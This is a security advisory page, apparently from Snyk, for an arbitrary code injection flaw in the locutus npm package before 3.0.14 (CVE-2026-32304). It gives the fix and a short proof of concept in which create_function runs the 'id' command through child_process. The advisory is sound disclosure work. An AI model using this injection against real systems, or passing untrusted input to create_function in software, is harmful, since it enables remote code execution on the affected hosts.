Arbitrary Code Injection Affecting locutus package, versions <3.0.14


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-LOCUTUS-15518079
  • published13 Mar 2026
  • disclosed12 Mar 2026
  • creditByambadalai Sumiya

Introduced: 12 Mar 2026

NewCVE-2026-32304  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade locutus to version 3.0.14 or higher.

Overview

locutus is a Locutus other languages' stadard libraries to JavaScript for fun and educational purposes

Affected versions of this package are vulnerable to Arbitrary Code Injection via the create_function(args, code) function. An attacker can execute arbitrary code by supplying unsanitized input to the arguments, which are passed directly to the Function constructor.

PoC

const { create_function } = require('locutus/php/funchand/create_function');
const rce = create_function('', 'return require("child_process").execSync("id").toString()');
console.log(rce());
// Output: uid=501(user) gid=20(staff) ...

CVSS Base Scores

version 4.0
version 3.1